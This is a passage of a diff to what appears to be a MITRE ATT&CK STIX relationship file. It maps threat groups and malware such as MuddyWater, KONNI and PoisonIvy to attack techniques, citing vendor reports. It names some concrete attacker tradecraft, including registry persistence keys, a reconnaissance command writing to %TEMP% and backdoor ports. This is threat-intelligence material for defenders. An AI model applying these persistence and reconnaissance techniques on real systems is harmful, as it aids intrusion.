MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-06-28T15:30:58.768Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can communicate to its C2 over HTTP and HTTPS if directed.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c33c2a0f-eb88-43ef-be7b-6311bef2da3d", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) can execute commands via an interactive command shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b8e50d79-c024-4dc1-aad2-d7181fbbf1bb", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) gains persistence by adding the Registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--baca2e38-a6fa-430e-a829-7afc5537e45f", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) runs the command: net start >> %TEMP%\\info.dat on a victim.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c294d8b-2ee4-47ee-b9d8-8378d9d89ba1", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to collect victim system information, including the system name and OS version.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed2e17b5-171b-4878-a3ab-2b70e8ca132a", + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) opens a backdoor on TCP ports 6868 and 7777.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1a61aac0-69fc-4813-9d1f-2f3817bc4af4", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) stores configuration values under the Registry key HKCU\\Software\\Microsoft\\[dllname] and modifies Registry keys under HKCR\\CLSID\\...\\InprocServer32with a path to the launcher.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67e6b603-a45d-4cbc-9b3e-546392934f7f", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has been copied over network shares to move laterally.", + "type": "relationship", + "created": "2019-01-30T17:48:35.674Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ec9706f-7faa-466d-afd0-97cc71714f7b", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.674Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder /Library/LaunchAgents.", + "type": "relationship", + "created": "2019-01-30T19:18:20.130Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a59268e4-a575-456e-b4a2-f7ee92d196a8", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "modified": "2019-01-30T19:18:20.130Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) uses ipconfig to gather the IP address from the system.", + "type": "relationship", + "created": "2019-01-30T20:01:45.383Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4cc3f3af-73f1-4f36-9e28-de4f8ecc3247", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-04-24T20:56:04.729Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can download files and execute them on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-31T00:36:41.003Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8720f2bc-c099-4d2c-a9b4-faf019bf55a4", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.228Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) installed a backdoor macro in Microsoft Outlook for persistence.", + "type": "relationship", + "created": "2019-01-31T01:07:58.720Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e1f7179b-37ac-4f47-8368-0f55814a6447", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.422Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Equation](https://attack.mitre.org/groups/G0020) has been observed utilizing environmental keying in payload delivery.", + "type": "relationship", + "created": "2019-01-31T02:11:53.932Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d661b40-6ebf-470f-a675-142f86b6c649", + "external_references": [ + { + "source_name": "Kaspersky Gauss Whitepaper", + "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf" + }, + { + "source_name": "Kaspersky Equation QA", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" + } + ], + "modified": "2019-01-31T18:38:24.525Z", + "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9", + "relationship_type": "uses", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-12T16:33:51.213Z", + "type": "relationship", + "created": "2019-01-29T21:37:00.018Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e50b6d7a-8c22-45f3-9d60-383064cc58d4", + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ], + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "relationship_type": "uses", + "target_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) can download and execute an executable from the C2 server.", + "type": "relationship", + "created": "2019-01-29T21:47:53.759Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ec1ddbb-57d1-4530-97d1-dd5d02cd3eb2", + "external_references": [ + { + "source_name": "Talos Micropsia June 2017", + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.939Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) creates a .LNK file for persistence.", + "type": "relationship", + "created": "2019-01-30T13:42:09.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e394c235-8567-4198-9559-fb3952672fe0", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.461Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) can upload a file to the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T14:00:49.889Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--882c68e3-5f01-4438-a430-ff22692d8910", + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2019-05-30T18:05:32.845Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Exaramel](https://attack.mitre.org/software/S0343) uses crontab for persistence.", + "type": "relationship", + "created": "2019-01-30T15:10:04.211Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47934840-9060-4dfb-aa44-4657f5d24b55", + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "modified": "2019-04-24T21:14:12.001Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to perform a process listing.", + "type": "relationship", + "created": "2019-01-30T15:27:06.725Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d36c850-0cd8-4e2a-9999-19f61eb37922", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-02-12T21:28:19.607Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can collect the victim\u2019s IP address.", + "type": "relationship", + "created": "2019-01-30T15:43:19.407Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2ab707bc-9e11-4b6e-858f-c1576f9fc3a0", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:14:11.183Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) contains watchdog functionality that ensures its process is always running, else spawns a new instance.", + "type": "relationship", + "created": "2019-01-30T16:39:54.425Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed51de86-8e28-4436-a663-94b66f22a7df", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.800Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has controlled [POWERSTATS](https://attack.mitre.org/software/S0223) from behind a proxy network to obfuscate the C2 location.", + "type": "relationship", + "created": "2019-01-30T17:33:40.928Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cc78f0a1-7f4f-491e-a636-910f09d0c5a1", + "external_references": [ + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "modified": "2019-06-28T15:30:58.771Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has sent spearphishing emails with malicious RAR attachments.", + "type": "relationship", + "created": "2019-01-30T17:43:28.298Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3cce0cb1-051f-48da-8712-e9d2eba871a0", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:52.211Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:36:29.960Z", + "type": "relationship", + "created": "2019-01-30T18:02:59.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a95a7989-ffe1-4aac-8831-5d4db61c2f8b", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can gather system information from the victim\u2019s machine such as the OS version, machine name, and drive information.", + "type": "relationship", + "created": "2019-01-30T18:58:04.096Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f9bf12c3-7512-47fe-86d7-cc89662abad4", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "modified": "2019-04-22T19:48:08.965Z", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) has used FTP and HTTP for C2 communications.", + "type": "relationship", + "created": "2019-01-30T19:50:46.737Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ebd87b4c-eca9-4680-9608-a49ec74b5c4b", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.387Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A version of [KONNI](https://attack.mitre.org/software/S0356) searches for filenames created with a previous version of the malware, suggesting different versions targeted the same victims and the versions may work together.", + "type": "relationship", + "created": "2019-01-31T00:36:40.957Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4c9b3cb-44ca-47be-b10f-2371ef1c23df", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.260Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used the ipconfig /all command to gather the IP address from the system.", + "type": "relationship", + "created": "2019-01-31T01:07:58.601Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cbc1d2d8-aac7-498a-a034-f0a672977c11", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.436Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used spearphishing emails (often sent from compromised accounts) containing malicious links.", + "type": "relationship", + "created": "2019-01-31T02:01:45.675Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8e36e77-3899-4e7c-b27e-ab6ebf049066", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 